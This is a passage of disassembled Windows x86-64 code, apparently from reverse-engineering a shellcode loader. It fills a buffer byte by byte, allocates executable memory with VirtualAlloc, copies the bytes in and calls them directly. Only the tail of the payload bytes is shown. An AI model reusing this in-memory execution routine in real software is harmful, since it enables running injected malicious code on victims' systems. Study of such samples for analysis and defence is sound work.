imul rax, rax, 0x1f8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf0
mov eax, 1
imul rax, rax, 0x1f9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xb5
mov eax, 1
imul rax, rax, 0x1fa
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xa2
mov eax, 1
imul rax, rax, 0x1fb
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x56
mov eax, 1
imul rax, rax, 0x1fc
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x1fd
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd5
lea rcx, [0x14002702c]
call fcn.1400044c0
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x258
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x110], rax
lea rcx, [0x14002708c]
call fcn.1400044c0
mov r8d, 0x1fe
lea rdx, [0x140027af0]
mov rcx, qword [rsp + 0x110]
call fcn.140005470
lea rcx, [0x1400270a4]
call fcn.1400044c0
call qword [rsp + 0x110]
lea rcx, str.YOYO_n
call fcn.1400044c0
mov eax, 1
add rsp, 0x128
ret